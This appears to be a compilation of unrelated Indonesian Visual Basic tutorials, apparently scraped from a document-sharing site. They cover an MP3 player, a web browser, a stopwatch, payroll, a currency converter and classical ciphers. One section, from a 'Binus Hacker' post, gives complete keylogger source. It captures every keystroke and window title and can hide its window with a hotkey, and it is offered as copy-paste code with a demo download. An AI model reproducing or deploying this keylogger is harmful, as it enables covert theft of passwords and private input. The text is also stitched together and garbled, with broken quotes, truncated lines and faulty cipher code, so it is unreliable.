Anda di halaman 1dari 27

MEMBUAT PROGRAM PEMUTAR MUSIK DENGAN VB 6.

0 | APLIKASI
MP3 PLAYER
Anda pasti hobi sekali bermain komputer sambil mendengar musik atau
apalagi online sambil mendengarkan musik itu sangat mengasikkan,
program yang anda buka pasti kalau bukan winamp, windows media
player, GOM player atau yang lainnya.
Tapi kali ini kita akan membuat sendiri aplikasi pemutar musik atau mp3
player tersebut dengan Visual basic, pasti anda menyangka sangat sulit
untuk membuat aplikasi tersebut, jika prediksi saya itu benar berarti
selama ini Anda salah besar karena dalam membuat program aplikasi mp3
player dengan program vb wah itu sangat mudah sekali, berikut
tutorialnya :
1. Jalankan program VB anda kemudian buat new project dan tetap pilih
standar.exe
2. Klik Menu Project >> Components (CTRL+T) kemudian pilih dan tandai
Microsoft Common Dialog Control 6.0 dan Microsoft Multimedia Control 6.0
>> OK
3. Lalu tambahkan pada form proyek anda 2 buah label, 2
commandbutton, satu CommonDialog dan MMControl, desainlah seperti
dibawah ini dan untuk picture background terserah anda

Gambar program aplikasi mp3 player dengan vb 6.0



4. Aturlah properties masing-masing kontrol seperti dibawah ini :

5. kemudian ketikkan kode/listing/script program dibawah ini :
Private Sub Command1_Click()
On Error GoTo loncat
MMControl1.Command = "stop"
CommonDialog1.ShowOpen
MMControl1.FileName = CommonDialog1.FileName
MMControl1.Command = "open"
Label1.Caption = CommonDialog1.FileTitle
loncat:
Exit Sub
End Sub

Private Sub Form_Unload(Cancel As Integer)
MMControl1.Command = "stop"
End Sub

Private Sub Command2_Click()
End
End Sub
6. Save hasil kerja anda dan kemudian silahkan run program anda dengan
menekan F5, lalu klik open dan ambil lagu kesayangan anda lalu klik
tanda play,,selamat mendengarkan

Gambar Hasil program aplikasi mp3 player dengan vb 6.0
7. Mudahkan, Selamat Mencoba!!!
Membuat Key Logger Dengan Visual Basic
1 April 2012
Penulis: starkey Kategori Artikel: Coding




2024

11

0

5937


Assalamualaikum wr wb, salam sejahtera sobat Binus Hacker,
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key
logger sederhana dengan Visual Basic. Oke langsung saja gan..
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE


4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat
Gambar)
5. Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib user32 (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib user32 () As Long
Private Declare Function GetWindowText Lib user32 Alias GetWindowTextA (ByVal hWnd
As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title =
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70,
71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93,
94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & [ " & Title
Text1.Text = Text1.Text & " ] & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, ), 0)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, !, 1)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, @, 2)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, #, 3)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, $, 4)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, %, 5)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, ^, 6)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, &, 7)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, *, 8)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, (, 9)
Case 112: Text1.Text = Text1.Text & F1
Case 113: Text1.Text = Text1.Text & F2
Case 114: Text1.Text = Text1.Text & F3
Case 115: Text1.Text = Text1.Text & F4
Case 116: Text1.Text = Text1.Text & F5
Case 117: Text1.Text = Text1.Text & F6
Case 118: Text1.Text = Text1.Text & F7
Case 119: Text1.Text = Text1.Text & F8
Case 120: Text1.Text = Text1.Text & F9
Case 121: Text1.Text = Text1.Text & F10
Case 122: Text1.Text = Text1.Text & F11
Case 123: Text1.Text = Text1.Text & F12
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, |, \)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, <, ,)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, _, -)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, >, .)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, ?, /)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, +, =)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, :, ;)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), )
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, {, [")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "])
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, ~, `)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text =
Mid(Text1.Text, 1, Len(Text1.Text) 1)
Case 9: Text1.Text = Text1.Text & [ Tab ]
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & [ Ctrl ]
Case 18: Text1.Text = Text1.Text & [ Alt ]
Case 19: Text1.Text = Text1.Text & [ Pause ]
Case 20: Text1.Text = Text1.Text & [ Capslock ]
Case 27: Text1.Text = Text1.Text & [ Esc ]
Case 32: Text1.Text = Text1.Text &
Case 33: Text1.Text = Text1.Text & [ PageUp ]
Case 34: Text1.Text = Text1.Text & [ PageDown ]
Case 35: Text1.Text = Text1.Text & [ End ]
Case 36: Text1.Text = Text1.Text & [ Home ]
Case 37: Text1.Text = Text1.Text & [ Left ]
Case 38: Text1.Text = Text1.Text & [ Up ]
Case 39: Text1.Text = Text1.Text & [ Right ]
Case 40: Text1.Text = Text1.Text & [ Down ]
Case 41: Text1.Text = Text1.Text & [ Select ]
Case 44: Text1.Text = Text1.Text & [ PrintScreen ]
Case 45: Text1.Text = Text1.Text & [ Insert ]
Case 46: Text1.Text = Text1.Text & [ Del ]
Case 47: Text1.Text = Text1.Text & [ Help ]
Case 91, 92: Text1.Text = Text1.Text & [ Windows ]
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub
6. Jalankan dengan menekan tombol F5
7. Live demo bisa di download disini :
Cara Membuat Web Browser Dengan Menggunakan Visual Basic 6.0
Posted by kun Akinari
Hallo Sobat Blogger... karna kesibukan di sekolah... Saya jadi jarang posting. Kali ini saya mau share
Cara membuat Web Browser Sederhana dengan VB6.

Syarat membuat Web Browser :

1. Sediakan Makanan Ringan
2. Kopi dan Rokok
3. Dengerin Musik... klo bisa Iwan Fals :)
4. Harus punya VB6 , Full maupun Portable. Kalo belum punya Visual Basic 6, bisa Cari di Indowebster.


Langkah2 membuat Web Browser ala Yudhistira Mawardi :

1. Buka Visual Basic 6 nya. Trus pilih Standard EXE.
2. Klik Kanan Pada ToolBox, Kemudian pilih Components atau tekan key Ctrl + T .
3. Kemudian Centang Microsoft html object library, Microsoft internet controls, Microsoft Windows
common Controls 5.0 atau 6.0 sama saja.
4. Buat 5 Command Buton, 1 Text Box , 1Label, 1 Webbrowser , 1 Proggress Bar. Saran saya tata
Seperti Gambar di bawah.


CommandButton Captionnya saya ganti dengan Back, Forward, Refresh, Stop dan Go.

Label Captionnya saya ganti Done

TextBox Text kalau bisa Kosong aja.








5. Sekarang Masukkan kode kode berikut, caranya doble klik pada tool / tombol yang sudah kita buat.

1. Back
On Error Resume Next
WebBrowser1.GoBack

2. Forward
On Error Resume Next
WebBrowser1.GoForward

3.Refresh
On Error Resume Next
WebBrowser1.Refresh

4.Stop
On Error Resume Next
WebBrowser1.Stop

5.GO
On Error Resume Next
WebBrowser1.Navigate Text1.Text

6. Progress Bar. Langsung Copy dan Paste Code ini pada Form Code

Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
On Error Resume Next
If Progress = -1 Then ProgressBar1.Value = 100
Label1.Caption = "Done"
ProgressBar1.Visible = False
If Progress > 0 And ProgressMax > 0 Then
ProgressBar1.Visible = True
Image1.Visible = False
ProgressBar1.Value = Progress * 100 / ProgressMax
Label1.Caption = "Loading " & Int(Progress * 100 / ProgressMax) & "%"

End If
Exit Sub
End Sub

8.Resize Form. Langsung Copy dan Paste Code ini pada Form Code

Private Sub Form_Resize()
On Error Resume Next
WebBrowser1.Width = Me.ScaleWidth
WebBrowser1.Height = Me.ScaleHeight - 1680
End Sub


6. Coba Jalankan Programnya Run > Start atau F5. Bila anda menemui error Silahkah komen, pasti ane
jawab :)

7. Kalau sudah tak tampak error. Langsung pilih File > Make Project1.exe.

8. Finish ^^

Kalau Program sudah jadi akan terlihat seperti ini :



BUAT STOPWATCH
undefined
undefined
undefined
Pasti Anda tau dengan yang namanya stopwatch, stopwatch adalah alat pengukur waktu. Pada
postingan ini saya akan membahas pembuatan program stopwatch menggunakan visual
basic 6.0


Pada program ini pengukur waktu yang digunakan dalam satuan menit,detik dan milidetik.
Rancanglah Form seperti tampilan gambar diatas.

Source Code dari program diatas :
-
Private Sub CmdStart_Click()
Xmili.Caption = 00
xdetik.Caption = 00
xmenit.Caption = 00
Timer1.Enabled = True
CmdStart.Enabled = False
CmdStop.Enabled = True
End Sub
Private Sub CmdStop_Click()
Timer1.Enabled = False
CmdStart.Enabled = True
CmdStop.Enabled = False
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
CmdStop.Enabled = False
End Sub
Private Sub Timer1_Timer()
Xmili.Caption = Val(Xmili.Caption) + 1
If Len(Xmili.Caption) = 1 Then Xmili.Caption = 0 & Xmili.Caption
If Xmili.Caption = 60 Then
Xmili.Caption = 00
xdetik.Caption = Val(xdetik.Caption) + 1
If Len(xdetik.Caption) = 1 Then xdetik.Caption = 0 & xdetik.Caption
End If
If xdetik.Caption = 60 Then
xdetik.Caption = 00
xmenit.Caption = Val(xmenit.Caption) + 1
If Len(xmenit.Caption) = 1 Then xmenit.Caption = 0 & xmenit.Caption
End If
End Sub





Program Visual Basic Penggajian Karyawan
Rabu, 15 Mei 2013 | 10:42 WIB | Pengirim :
Mesran | Dibaca : 6675 kali | Kategori : Prog
Visual Basic
Berita Terkait

Pengaturan Digit Pecahan Pada
Program C++


Program Listview Penggajian Karyawan


Penyelesaian Kasus Penjualan Menggunakan C++


Penyelesaian Kasus Penjualan Dengan Menggunakan C


Pemakaian If Jamak dan Looping Pada Visual C Sharp

Program berikut ini latihan penggajian karyawan menggunakan bahasa pemrograman visual
basic/vb 6
Program ini termasuk memiliki logika yang sedang/sedikit rumit. :) masih sedikit yah :)
hehehe

Silahkan design tampilan program seperti dibawah ini :




Berikut listing program penggajian karyawan.

Dim lembur As Double
Private Sub cmdBaru_Click()
NIK.Text = ""
Nama.Text = ""
Status.Text = ""
Jabatan.Text = ""
Pajak.Text = ""
Total.Text = ""
Gaji.Text = ""
TunjIstri.Text = ""
TunjAnak.Text = ""
JAnak.Text = ""
Honor.Text = ""
JLembur.Text = ""
TunjAnak.Text = ""

End Sub

Private Sub CmdKeluar_Click()
Unload Me
End Sub

Private Sub CmdProses_Click()
Total.Text = Val(Gaji.Text) + Val(TunjIstri.Text) + Val(TunjAnak.Text) +
Val(Honor.Text) - Val(Pajak.Text)
End Sub

Private Sub Form_Load()
NIK.AddItem "001"
NIK.AddItem "002"
NIK.AddItem "003"
Jabatan.AddItem "Mandor"
Jabatan.AddItem "Kepala Bagian"
Jabatan.AddItem "Staf"
Status.AddItem "Menikah"
Status.AddItem "Tidak Menikah"

For i = 1 To 5
JAnak.AddItem i
Next i

For i = 1 To 15
JLembur.AddItem i
Next i

Call cmdBaru_Click
End Sub

Private Sub Jabatan_Click()
Select Case Jabatan.Text
Case "Mandor":
Gaji.Text = 1750000
lembur = 7500
Case "Kepala Bagian": Gaji.Text = 2500000
lembur = 10000
Case "Staf": Gaji.Text = 1250000
lembur = 5000
End Select
Pajak.Text = 0.015 * Gaji.Text
End Sub

Private Sub JAnak_Click()
If JAnak.Text >= 2 Then
TunjAnak.Text = 0.07 * Gaji.Text
ElseIf JAnak.Text = 1 Then
TunjAnak.Text = 0.03 * Gaji.Text
Else
TunjAnak.Text = 0
End If
End Sub

Private Sub JLembur_Click()
Honor.Text = JLembur.Text * lembur
End Sub

Private Sub NIK_Click()
Select Case NIK.Text
Case "001": Nama.Text = "Oncom"
Case "002": Nama.Text = "Udin"
Case "003": Nama.Text = "Ujang"
End Select
End Sub

Private Sub Status_Click()
Select Case Status.Text
Case "Menikah":
TunjIstri.Text = 0.09 * Gaji.Text
JAnak.Enabled = True
Case "Tidak Menikah":
JAnak.Text = 0
JAnak.Enabled = False
TunjIstri.Text = 0
TunjAnak.Text = 0
End Select

End Sub

Untuk hasilnya silahkan aja lihat tampilan berikut ini :





Selamat belajar bahasa pemrograman yaa
Tag : Program Visual Basic Penggajian Karyawan, bahasa pemrograman vb 6, bahasa
pemrograman visual basic






Membuat Program Konversi Mata Uang dengan Visual Basic 6.0
Diposting oleh Ignatius J pada 1 Maret 2012 Tinggalkan komentar (25) Menuju ke komentar
Membuat Program Konversi Mata Uang dengan Visual Basic 6.0
Salam damai

Kali ini ane (Ignatius J) akan membagikan sedikit pengetahuan tentang Membuat Program
Konversi Mata Uang dengan Visual Basic 6.0. Sebenarnya sudah banyak sekali contoh
program Membuat Program Konversi Mata Uang dengan Visual Basic 6.0 yang diposting
oleh Master-Master Visual Basic, tapi ane akan membagikan sesuatu yang baru dengan
menambahkan konsep banyaknya mata uang yang bisa di konversi, bukan hanya dari Dollar
Amerika Ke Rupiah atau sebaliknya(hehehehe.. ).
Tanpa nyeloteh berkepanjangan (yang gak ada habisnya. Hehehehehe) kita langsung aja
gan pada intinya

Persiapan Membuat Program Konversi Mata Uang dengan Visual Basic 6.0
Buka Aplikasi Visual Basic 6.0 (pastinya, ) masukkan beberapa components sebagai
berikut ke dalam form program agan-agan semua:
1. 7 Buah LABEL
2. 2 Buah Frame
3. 2 Buah ComboBox
4. 3 Buah TextBox
5. 3 Buah CommandButton
Pada bagian properti ubah name dan caption masing2 components seperti berikut ( tidak harus
sama seperti punya ane)

Perhatian untuk Label2, Label3, Combo1, Combo2 dimasukkan dalam Frame1 sedangkan
Label4, Label5, Text1 dalam Frame2. Jika semua petunjuk di atas telah di lakukan maka
buatlah tampilan formnya seperti berikut :

Membuat Script untuk Program Konversi Mata Uang dengan Visual
Basic 6.0
Setelah semua selesai dan saat di running hasilnya sudah seperti gambar paling atas maka
selanjutnya kita akan mengisi script agar program tersebut bisa digunakan.
Oke tanpa basa-basi kita lihat scriptnya
Pada CmdExit masukkan Script berikut :
1
2
3
4
5
6
'================================================================'
'Nama : Ignatius J'
'================================================================'
Private Sub CmdExit_Click()
Unload Me
End Sub
Pada CmdReset masukkan Script berikut :
1
2
3
4
5
6
7
8
9
10
Private Sub CmdReset_Click()
Combo1 = "Rupiah Indonesia"
Combo2 = "Rupiah Indonesia"
Txt2 = ""
Txt1 = "1"
Txt3 = ""
LabHas = ""
Lbl4 = "1 Rp ="
Lbl5 = "Rp"
End Sub
Pada Combo1_Click masukkan Script berikut :
1
2
3
4
5
6
7
Private Sub Combo1_Click()
kembali
If Combo1 = "Rupiah Indonesia" Then
Lbl6.Caption = "IDR"
Lbl4.Caption = "1000 Rp ="
ElseIf Combo1 = "Dollar Amerika Serikat" Then
Lbl6.Caption = "USD"
8
9
10
11
12
13
14
15
16
17
18
19
Lbl4.Caption = "1 U$ ="
ElseIf Combo1 = "Dollar Hongkong" Then
Lbl6.Caption = "HKD"
Lbl4.Caption = "1 HKD ="
ElseIf Combo1 = "Rupee India" Then
Lbl6.Caption = "INR"
Lbl4.Caption = "1 INR ="
ElseIf Combo1 = "Yen Jepang" Then
Lbl6.Caption = "JPY"
Lbl4.Caption = "1 JPY ="
End If
End Sub
Pada Combo2_Click masukkan Script berikut :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Private Sub Combo2_Click()
kembali
If Combo2 = "Rupiah Indonesia" Then
Lbl7.Caption = "IDR"
Lbl5.Caption = "Rp"
ElseIf Combo2 = "Dollar Amerika Serikat" Then
Lbl7.Caption = "USD"
Lbl5.Caption = "USD"
ElseIf Combo2 = "Dollar Hongkong" Then
Lbl7.Caption = "HKD"
Lbl5.Caption = "HKD"
ElseIf Combo2 = "Rupee India" Then
Lbl7.Caption = "INR"
Lbl5.Caption = "INR"
ElseIf Combo2 = "Yen Jepang" Then
Lbl7.Caption = "JPY"
Lbl5.Caption = "JPY"
End If
End Sub
18
19
Pada Form_Load masukkan Script berikut :
1
2
3
Private Sub Form_Load()
Txt1 = "1"
End Sub
Buatlah sebuah function jika perbandingan atau konverter bernilai sama maka nilai mata uang
akan sama pula, berikut Scriptnya :
1
2
3
4
5
6
7
Sub kembali()
If (Combo1 = "Rupiah Indonesia" And Combo2 = "Rupiah Indonesia") Or (Combo1 =
"Yen Jepang" And Combo2 = "Yen Jepang") Or (Combo1 = "Dollar Amerika
Serikat" And Combo2 = "Dollar Amerika Serikat") Or (Combo1 = "Rupee India"
And Combo2 = "Rupee India") Or (Combo1 = "Dollar Hongkong" And Combo2 =
"Dollar Hongkong") Then
Txt1 = "1"
Else
Txt1 = ""
End If
End Sub
Selanjutnya membuat function untuk menghitung hasil konversi.
1
2
3
4
5
6
7
8
9
10
11
12
Sub hitung()
Dim bil, bil2, hasil As Double
If Combo1 = "Rupiah Indonesia" And Combo2 = "Rupiah Indonesia" Then
bil = Val(Txt2.Text)
hasil = bil
LabHas.Caption = hasil
ElseIf Combo1 = "Rupiah Indonesia" And Combo2 = "Dollar Amerika Serikat"
Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil / bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupiah Indonesia" And Combo2 = "Dollar Hongkong" Then
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil / bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupiah Indonesia" And Combo2 = "Rupee India" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil / bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupiah Indonesia" And Combo2 = "Yen Jepang" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil / bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Amerika Serikat" And Combo2 = "Dollar Amerika
Serikat" Then
bil = Val(Txt2.Text)
hasil = bil
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Amerika Serikat" And Combo2 = "Rupiah Indonesia"
Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Amerika Serikat" And Combo2 = "Dollar Hongkong"
Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Amerika Serikat" And Combo2 = "Rupee India" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Amerika Serikat" And Combo2 = "Yen Jepang" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Hongkong" And Combo2 = "Dollar Hongkong" Then
bil = Val(Txt2.Text)
hasil = bil
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Hongkong" And Combo2 = "Dollar Amerika Serikat"
Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Hongkong" And Combo2 = "Rupiah Indonesia" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Hongkong" And Combo2 = "Rupee India" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Dollar Hongkong" And Combo2 = "Yen Jepang" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupee India" And Combo2 = "Dollar Amerika Serikat" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupee India" And Combo2 = "Rupiah Indonesia" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupee India" And Combo2 = "Dollar Hongkong" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Rupee India" And Combo2 = "Rupee India" Then
bil = Val(Txt2.Text)
hasil = bil
LabHas.Caption = hasil
ElseIf Combo1 = "Rupee India" And Combo2 = "Yen Jepang" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Yen Jepang" And Combo2 = "Dollar Amerika Serikat" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Yen Jepang" And Combo2 = "Rupiah Indonesia" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Yen Jepang" And Combo2 = "Dollar Hongkong" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Yen Jepang" And Combo2 = "Rupee India" Then
bil = Val(Txt2.Text)
bil2 = Val(Txt1.Text)
hasil = bil * bil2
LabHas.Caption = hasil
ElseIf Combo1 = "Yen Jepang" And Combo2 = "Yen Jepang" Then
bil = Val(Txt2.Text)
hasil = bil
LabHas.Caption = hasil
End If
End Sub
Yang terakhir pada CmdKonversi masukkan fungsi hitung berikut :
1
2
3
Private Sub CmdKonversi_Click()
hitung
End Sub
Demikianlah cara Membuat Program Konversi Mata Uang dengan Visual Basic 6.0
Mudah-mudahan bisa sedikit membantu teman-teman semua. Untuk merubah tampilan seperti
punya ane



Cara Membuat Kriptografi Dengan Mengggunakan Program Visual Basic
2008

Cara Membuat Kriptografi Dengan Mengggunakan Program Visual Basic
2008

Pertama desainlah from seperti yang dibawa ini :




Untuk membuat listing programnya, tinggal double click lembar kerja yang bebas
iconnya. Selanjutnya ketik perintah dibawah ini :

Public Class Form1


Private Sub KeluarToolStripMenuItem_Click(ByVal sender As
System.Object, ByVal e As System.EventArgs) Handles
KeluarToolStripMenuItem.Click
Me.Close()

End Sub

Private Sub KriptografiCaesarToolStripMenuItem_Click(ByVal sender As
System.Object, ByVal e As System.EventArgs) Handles
KriptografiCaesarToolStripMenuItem.Click
Form2.MdiParent = Me
Form2.Show()

End Sub
Private Sub KriftografiVernamToolStripMenuItem_Click(ByVal sender As
System.Object, ByVal e As System.EventArgs) Handles
KriftografiVernamToolStripMenuItem.Click
Form3.MdiParent = Me
Form3.Show()

End Sub

Private Sub MenuStrip1_ItemClicked(ByVal sender As System.Object, ByVal
e As System.Windows.Forms.ToolStripItemClickedEventArgs) Handles
MenuStrip1.ItemClicked

End Sub

Private Sub KriftografifelGronsfeldToolStripMenuItem_Click(ByVal sender
As System.Object, ByVal e As System.EventArgs) Handles
KriftografifelGronsfeldToolStripMenuItem.Click
Form4.MdiParent = Me
Form4.Show()

End Sub
Public Class Form2

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles btnEnkkripsi.Click
Dim x As String = ""
Dim xkalimat As String = ""
For i = 1 To Len(plain.Text)
x = Mid(plain.Text, i, i)
x = Chr(Asc(x) + 3)
xkalimat = xkalimat + x

Next
chiper.Text = xkalimat

End Sub

Private Sub btnDekripsi_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles btnDekripsi.Click
Dim jumlah As Double = Len(plain.Text)
Dim x As String
Dim xkalimat As String = ""
Dim i As Double
Dim bil As Integer
For i = 1 To jumlah
x = Mid(plain.Text, i, 1)
bil = Asc(x) + 3
x = Chr(bil)
xkalimat = xkalimat + x
Next i
chiper.Text = xkalimat End Sub
Public Class Form3

Private Sub orm3_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
plainteks.text = ""
kunci.Text = ""
chiperteks.Text = ""


End Sub

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles btnEnkkripsi.Click
Dim j As Integer
Dim jum As Integer
Dim skey As String
Dim nkata As Integer
Dim nkunci As Integer
Dim skata As String
Dim splain As String = ""
Dim nEnc As Integer
j = 0

skata = plainteks.Text
jum = Len(skata)
skey = kunci.Text
For i = 1 To jum
If j = Len(skey) Then
j = 1
Else
j = j + 1

End If
nkata = Asc(Mid(skata, i, 1)) - 65
nkunci = Asc(Mid(skey, j, 1)) - 65
nEnc = ((nkata + nkunci) Mod 26)
splain = splain & Chr((nEnc) + 65)
Next i
chiperteks.Text = splain


End Sub

Private Sub plainteks_KeyPress(ByVal sender As Object, ByVal e As
System.Windows.Forms.KeyPressEventArgs) Handles plainteks.KeyPress
e.KeyChar = UCase(e.KeyChar)
Dim tombol As Integer = Asc(e.KeyChar)
If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then
e.Handled = True

End If
End Sub

Private Sub kunci_KeyPress(ByVal sender As Object, ByVal e As
System.Windows.Forms.KeyPressEventArgs) Handles kunci.KeyPress
e.KeyChar = UCase(e.KeyChar)
Dim tombol As Integer = Asc(e.KeyChar)
If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then
e.Handled = True

End If
End Sub

Private Sub kunci_TextChanged(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles kunci.TextChanged


End Sub
End Class
Public Class Form4

Private Sub Form4_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
plainteks.Text = ""
kunci.Text = ""
chiperteks.Text = ""


End Sub

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles btnEnkkripsi.Click
Dim j As Integer
Dim jum As Integer
Dim skey As Integer
Dim nkata As Integer
Dim nkunci As Integer
Dim skata As String
Dim splain As String = ""
Dim nEnc As Integer
j = 0

skata = plainteks.Text
jum = Len(skata)
skey = kunci.Text
For i = 1 To jum
If j = Len(skey) Then
j = 1
Else
j = j + 1

End If
nkata = Asc(Mid(skata, i, 1)) - 65
nkunci = Mid(skey, j, 1)
nEnc = ((nkata + nkunci) Mod 26)
splain = splain & Chr((nEnc) + 65)
Next i
chiperteks.Text = splain


End Sub

Private Sub plainteks_KeyPress(ByVal sender As Object, ByVal e As
System.Windows.Forms.KeyPressEventArgs) Handles plainteks.KeyPress
e.KeyChar = UCase(e.KeyChar)
